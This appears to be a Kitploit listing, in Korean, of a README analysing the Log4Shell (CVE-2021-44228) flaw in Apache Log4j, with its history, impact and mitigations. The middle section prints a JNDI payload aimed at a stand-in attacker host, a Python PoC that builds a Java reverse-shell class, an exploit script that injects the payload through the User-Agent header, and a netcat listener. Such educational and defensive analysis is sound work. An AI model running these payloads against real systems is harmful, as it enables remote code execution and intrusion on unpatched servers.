Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228 — CVE-2021-44228(Log4Shell)에 대한 교육적 분석으로, PoC 스크립트, 공격 벡터 분석, 취약점 이해 및 테스트를 위한 완화 지침을 포함하여 Apache Log4j의 치명적인 RCE 취약점을 다룹니다. | Kitploit
도구/GitHubGitHub/kaleth4/cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

CVE-2021-44228(Log4Shell)에 대한 교육적 분석으로, PoC 스크립트, 공격 벡터 분석, 취약점 이해 및 테스트를 위한 완화 지침을 포함하여 Apache Log4j의 치명적인 RCE 취약점을 다룹니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛡️ CVE-2021-44228: Log4Shell 분석 - Java 보안을 뒤흔든 취약점

심각도 최고 (CVSS 10.0) | 2021년 발견된 Apache Log4j의 이 결함은 원격 코드 실행(RCE)을 허용하며 전 세계 수백만 시스템에 영향을 미칩니다. 오늘날에도 사이버 보안의 핵심 교훈으로 남아 있습니다!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Log4Shell이란 무엇인가?

CVE-2021-44228, 일명 Log4Shell은 Apache Log4j 2 로깅 라이브러리의 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 결함으로 인해 공격자는 애플리케이션이 기록하는 특수하게 조작된 텍스트 문자열을 보내기만 해도 취약한 서버에서 임의의 코드를 실행할 수 있습니다.

  • 왜 이렇게 위험한가? Log4j는 클라우드 서비스, 웹 앱, 엔터프라이즈 소프트웨어를 포함한 Java 애플리케이션에서 광범위하게 사용됩니다. 인증 없이 악용 가능하며 HTTP 헤더, 양식, 채팅과 같은 사용자 입력을 통해 쉽게 확산될 수 있습니다.
  • 발견자: Alibaba Cloud Security의 Chen Zhaojun (2021년 11월). 2021년 12월 9일 공개적으로 공개되어 CISA, NCSC 등 글로벌 경보를 촉발했습니다.
  • 전 세계적 영향: 수억 대의 기기에 영향을 미쳤습니다. Minecraft, Twitter, Cisco와 같은 기업이 피해를 입었습니다. 대규모 공격이 관찰됨: 최대 분당 100회 이상.

Log4Shell은 단독으로 끝나지 않았습니다. CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS), CVE-2021-4104 (Log4j 1.2의 RCE)가 파생되었습니다.


💀 공격 벡터 및 작동 방식

문제의 핵심은 Log4j에서 **JNDI(Java Naming and Directory Interface)**를 안전하지 않게 처리하여, 원격 조회를 검증 없이 수행한다는 점입니다.

기본 Payload 예시

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

작동 방식:

  1. 공격자는 기록되는 메시지(예: HTTP의 User-Agent)에 payload를 주입합니다.
  2. Log4j가 ${...}를 감지하고 JNDI 조회를 활성화합니다.
  3. 취약한 서버가 공격자의 LDAP/RMI/DNS 서버에 연결합니다.
  4. 악의적인 Java 클래스(예: 역방향 셸)가 다운로드되어 실행됩니다.

악용 가능한 프로토콜: LDAP, RMI, DNS, IIOP 등. 이를 통해 다음과 같은 위협이 가능합니다:

  • 코인 마이닝: 암호화폐 채굴을 위한 리소스 도용.
  • 랜섬웨어: 데이터 암호화 (예: Khonsari, Night Sky).
  • DoS/DDoS: 시스템 과부하 (예: Mirai 봇넷 사용).
  • 측면 이동: Cobalt Strike와 같은 도구를 통한 권한 상승.

감염 체인 (Kill Chain):

  1. 정찰: 포트 및 헤더 스캔을 통해 Log4j 감지.
  2. 주입: 비위생 처리된 입력에 payload 전송.
  3. 해석: JNDI가 공격자 서버에 접촉.
  4. 실행: 악성 코드가 로드되어 실행 (예: Kinsing과 같은 악성코드 다운로드).
  5. 지속성: 자격 증명 유출 (/etc/passwd, /etc/shadow) 또는 백도어 설치.

📈 기술적 세부 사항

영향 통계:

  • 초기에 노출된 클라우드 환경의 >90%.
  • 국가 행위자(중국, 북한) 및 사이버 범죄자에 의해 악용됨.
  • 초기 패치: Log4j 2.15.0 (2021년 12월), 그러나 불완전; 안전한 버전: 2.17.1+.

🚀 교육용 개념 증명 (PoC)

⚠️ 경고: 이 내용은 교육 목적 및 승인된 테스트 전용입니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 승인 없이 취약점을 악용하는 것은 불법입니다 (예: 미국 CFAA 위반). 항상 윤리적 침투 테스트를 수행하십시오.

kozmer/log4j-shell-poc과 같은 공개 저장소를 기반으로, 통제된 환경(예: 로컬 Docker/VM)에서 PoC에 대한 간략한 개요를 제공합니다.

시뮬레이션 일반 단계 (취약한 환경)

  1. Repo 클론: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Docker 빌드: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. 취약한 Java 설치 (예: JDK 8u202): 신뢰할 수 있는 미러에서 다운로드, 압축 풀기, 경로 설정 (예: /usr/bin/jdk1.8.0_202).
  4. PoC 스크립트 수정 (poc.py): Java 경로 및 IP 조정. 수정된 예시 스니펫 (간소화 버전):
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (간소화된 역방향 셸 코드)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Exploit 클래스 생성 성공')
    except Exception as e:
        print(Fore.RED + f'[-] 오류: {e}')

# ... (LDAP 서버 및 웹 서버 함수는 원본과 유사)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] CVE-2021-44228 교육용 PoC - 실습실에서만 사용하세요!")
    # 인수: --userip localhost --webport 8000 --lport 9001
    # LDAP, 웹 서버 실행 및 payload 생성

if __name__ == "__main__":
    main()
  1. 실행: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. Listener (Netcat): nc -lvnp 9001 - 역방향 셸 모니터링.
  3. Payload 주입: 취약한 앱(http://localhost:8080)의 로그인/검색 필드에 ${jndi:ldap://127.0.0.1:1389/a} 입력.
  4. 확인: Netcat 연결; 터미널 로그에 JNDI 해석 표시.

간단한 Python PoC (Listener + Exploit): 빠른 데모를 위해 이 스크립트 쌍을 사용하세요 (먼저 listener 실행).

listener.py:

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener on {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Connection from {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Press Enter to stop...\n")  # 유지

exploit.py:

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Sent to {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

실행: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

참고: 시뮬레이션된 LDAP을 위해 Marshalsec 필요. 격리된 실습실에서만 테스트하세요.


🛡️ 완화 및 패치

지금 조치하세요! Log4Shell은 업데이트 및 구성을 통해 방지할 수 있습니다.

1. 권장 업데이트 (최우선)

  • Log4j 2.17.1 이상으로 업그레이드 (기본적으로 JNDI 비활성화).
  • 다운로드: Apache Log4j Releases.
  • mvn dependency:tree 또는 Snyk와 같은 도구로 간접 종속성 확인.

2. 빠른 수정 (임시)

  • JVM 플래그: -Dlog4j2.formatMsgNoLookups=true
  • 환경 변수: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Log4j 설정: log4j2.xml에 다음 추가: <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

3. 수동 제거

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • JAR에서 JNDI 클래스 제거.

4. 추가 조치

  • WAF/IPS: ${jndi:*} Payload 차단 (예: ModSecurity 또는 Cloudflare 규칙).
  • 스캔: Nuclei, Nessus 등 도구 사용하여 취약한 버전 탐지.
  • 가상 패치: 방화벽에서 원격 조회 차단.
  • 모니터링: 안티바이러스/EDR 업데이트 (예: Log4Shell용 Seqrite IPS 규칙).

파생 CVE에 대한 조치:

  • CVE-2021-45046: 2.16.0+로 업데이트하고 메시지 조회 비활성화.
  • CVE-2021-45105: 기본이 아닌 설정에서 재귀 조회 방지.
  • CVE-2021-4104: Log4j 1.2에서 JNDI와 함께 JMSAppender 사용 금지.

📚 추가 자료

  • 공식:
    • NVD - CVE-2021-44228
    • Apache Log4j Security Bulletin
  • 가이드:
    • Microsoft Defender: Log4Shell 관리
    • Tenable: Log4Shell FAQ
    • Trend Micro: 영향 및 완화
  • 교육용 PoC: GitHub - Log4j Shell PoC (법적 고지 포함).
  • 고급 분석: Seqrite: 무차별 악용

이 README.md는 교육 및 사이버 보안 인식 제고 목적입니다. 불법 활동을 조장하지 않습니다. 보안 전문가라면 OWASP Dependency-Check와 같은 도구로 환경을 평가하세요. 시스템을 최신 상태로 유지하여 더 안전한 세상을 만드세요! 🔒

마지막 업데이트: 2023년까지의 데이터 기반. 최신 소식은 공식 출처를 확인하세요.

도구 다운로드
특징세부 내용
CVSS v3.1 점수10.0 (CRITICAL) 🔥 - 가능한 최고 심각도.
영향 받는 버전Log4j 2.0-beta9 ~ 2.14.1 (하위 CVE에 대해 2.16.0까지 파생 버전 포함).
근본 원인JNDI 메시지 대체에 대한 검증 부재; 원격 조회 활성화.
벡터원격, 인증 불필요; 웹/클라우드 앱의 Java 8+에 영향.
영향 받는 제품Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter 등.
악용 난이도쉬움: GitHub에 공개 PoC 존재; 권한 불필요.